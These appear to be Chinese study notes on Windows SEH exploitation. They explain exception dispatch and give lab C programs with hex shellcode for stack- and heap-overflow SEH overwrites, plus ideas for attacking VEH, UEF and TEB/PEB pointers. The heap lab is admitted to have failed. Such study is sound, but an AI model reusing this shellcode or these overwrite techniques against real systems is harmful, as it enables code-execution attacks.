1. S.E.H概述
SEH即异常处理结构体(Structure Exception Handler),其中包含两个DWORD指针:SEH链表指针和异常处理函数句柄。
几个要点:
- SEH结构体放在系统栈中
- 当线程初始化时,会自动向栈中安装一个SEH,作为线程默认的异常处理
- 如果程序源代码中使用try{}except{}或者Assert宏等异常处理机制,编译器将最终将通过向当前函数栈帧中安装一个SEH来实现异常处理
- 栈中一般会同时存在多个SEH
- 栈中的多个SEH通过链表指针在栈内由栈顶向栈底串成单项链表,位于链表最顶端的SEH通过TEB(线程环境块)0字节偏移处的指针标识
- 当异常发生时,操作系统会中断程序,并首先从TEB的0字节偏移处取出距离栈顶最近的SEH,使用异常处理函数句柄所指向的代码来处理异常。
- 当离“事故现场”最近的异常处理函数运行失效时,将顺着SEH链表依次尝试其他的异常处理函数
- 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通过这个函数弹出一个对话框,然后强制关闭程序。
利用SEH的原理:
- SEH放在栈内,可以缓冲区淹没SEH
- 精心制造溢出数据可以把SEH中异常处理函数的入口地址更改为shellcode的起始地址
- 溢出后错误的栈帧或堆块数据往往会触发异常
- 在Windows开始处理溢出的异常时,会错误地把shellcode当作异常处理函数而执行
2. 栈溢出中利用SEH
2.1 获取shellcode起始地址和SEH地址
测试代码
#include
#include
char shellcode[] = "\x90\x90\x90\x90";
DWORD MyExceptionhandler(void)
{
printf("got an exception, press Enter to kill process!\n");
getchar();
ExitProcess(1);
return 1;
}
void test(char *input)
{
char buf[200];
int zero = 0;
__asm int 3; // used to break process for debug
__try
{
strcpy(buf, input); // overrun the stack
zero = 4/zero; // generate an exception
}
__except(MyExceptionhandler()){}
}
void main()
{
test(shellcode);
}
根据Ollydbg得到结论
shellcode起始位置为0x0012FE48离栈顶栈顶最近的SEH链表指针地址为0x0012FF18,其异常处理函数句柄地址为0x0012FF1C
shellcode起始地址与异常处理句柄地址之间共有212个字节间隙,也就是说,超出缓冲区8字节后的部分将覆盖SEH链的第一个SEH:由于SEH链表指针为0x90909090,所以为无效地址,系统为默认其为最终的异常处理;而而处理函数句柄内的地址是shellcode起始地址,那么就会跳转至此进行函数执行。
2.2 编写shellcode
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x48\xFE\x12\x00";
注意在执行的时候去掉__asm int 3调试
3. 堆溢出中利用SEH
#include <windows.h>
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00" // heap of the ajacent free block(尾块)
"\x88\x06\x36\x00" //0x00360688 is the address of shellcode in first Heapblock
"\x90\x90\x90\x90"; //target of DWORD SHOOT
DWORD MyExceptionhandler(void)
{
ExitProcess(1);
return 0;
}
int main()
{
HLOCAL h1=0, h2=0;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
memcpy(h1, shellcode, 0x200); // overflow here
// noticed 0x200 means 512
__asm int 3 // used to break the process
__try
{
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
}
__except(MyExceptionhandler()){}
return 0;
}
实验方案:
- 溢出第一个堆块的数据将写入后面的空闲堆块,第二次分配的时候发生DWORD SHOOT。
- 将SEH的异常回调函数地址作为DWORD SHOOT目标,将其替换为shellcode入口地址,异常发生后,操作系统将错误地把shellcode当作异常处理函数而执行。
得到的DWORD的目标地址后,就可以去掉中断指令,更改DWORD SHOOT的目标地址,重新执行
遗憾的是,该实验我做了很多次,最后都是无功而返,没有试验现象,到目前为止不知道原因!!!!4. Windows异常处理
4.1 不同级别的SEH
异常处理流程:
- 首先执行线程中距离栈顶最近的SEH异常处理函数
- 若失败,则依次尝试执行SEH链表中的后续异常处理函数
- 若SEH链中所有的异常处理函数都没能处理异常,则执行进程中的异常处理
- 若仍然失败,系统默认的异常处理函数将被调用,程序崩溃窗口将被弹出
4.2 线程的异常处理
线程中用于处理异常的回调函数有4参数:
- pExcept:指向非常重要的结构体EXCEPTION_RECORD。该结构体包含若干与异常相关的信息,如异常的类型、异常发生的地址等
- pFrame:指向栈帧中SEH结构体
- pContext:指向Context结构体。该结构体中包含所有寄存器的状态
- pDispatch:位置用途
返回值:
0(ExceptionContinueExecution):异常被成功处理,将返回原程序发生异常的地方,继续执行后续指令。
1(ExceptionContinueSearch):代表异常处理失败,将顺着SEH链表搜索其他可用于异常处理的函数并尝试处理。
异常处理函数的第一轮调用用来尝试处理异常,而第二轮的unwind调用时,往往执行的是释放资源等操作。
4.3 进程的异常处理
如果异常没被线程的异常处理函数或调试器处理掉,将交给进程中的异常处理函数。
通过API函数SetUnhandledExceptionFilter来注册,其是kernel32.dll的导出函数。
提示:把线程异常处理对应代码中try{}except(){}或者Assert等语句,把进程的异常处理对应于函数SetUnhandledExceptionFilter返回值:
- 1(EXCEPTION_EXECUTE_HANDLER):表示错误得到正确的处理,程序将退出
- 0(EXCEPTION_CONTINUE_SEARCH):无法处理错误,将错误转交给系统默认的异常处理
- -1(EXCEPTION_CONTINUE_EXECUTION):表示错误得到正确处理,并将继续执行下去。类似于线程的异常处理函数,系统会用回调函数会付出异常发生时的断点状况。但这时引起异常的寄存器应该已经得到了恢复。
4.4 系统默认异常处理UEF
如果进程异常处理失败或用户根本没有注册进程异常处理,系统默认的异常处理函数UnhandledExceptionFilter()将被调用。
4.5 异常处理流程总结
- CPU执行发生并捕获异常,内核结果进程的控制权,开始内核态的异常处理
- 内核异常处理结束,将控制权还给ring3
- ring3中第一个处理异常的函数是ntdll.dll中的KiUserExceptionDispatcher()函数
- KiUserExceptionDispatcher()首先会检查程序是否处于调试状态。如果程序正被调试,会将异常交给调试器进行处理
- 在非调试状态下,KiUserExceptionDispatcher()调用RtlDispatchException()函数对线程的SEH链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的SEH句柄,即unwind操作,以保证异常处理机制自身的完整性
- 如果栈中所有的SEH都失败了,且用户曾经使用过SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
- 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理UnhandledExceptionFilter()将被调用。UEF会根据注册表里的相关信息决定是默默关闭程序,还是弹出错误对话框
5. 其他异常处理机制的利用思路
5.1 VEH利用
VEH(Vectored Exception Handler,向量化异常处理)
- VEH和进程异常处理类似,都是基于进程的,而且需要使用API注册回调函数
- 可注册多个VEH。VEH结构体之间串成双向链表,因此比SEH多了一个前向指针
- VEH处理优先级次于调试器处理,高于SEH处理。先KiUserExceptionDispatcher,再VEH,最后SEH
- VEH保存在堆中
- unwind操作只对栈帧中的SEH链起作用,不会涉及VEH这种进程类的异常处理
Windows heap overfows
如果能利用堆溢出的DWORD SHOOT修改VEH头结点指针,在异常处理开始后,并能引导程序去执行shellcode
5.2 攻击TEB中的SEH头节点
异常发生时,异常处理机制会遍历SEH链表中寻找合适的出错函数。线程SEH链通过TEB的第一个DWORD标识(fs:0),这个指针永远指向离栈顶最近的那个SEH。如果能够修改TEB中的这个指针,在异常发生时就能将程序引导到shellcode中去执行
5.3 攻击UEF
如果能通过DWORD SHOOT把这个处理函数覆盖为shellcode的入口地址,再制造一个其他异常处理无法解决的异常,那么系统将使用UEF作为最后一根救命稻草来解决异常时,shellcode就被执行。
5.4 攻击PEB中的函数指针
前面博客有讲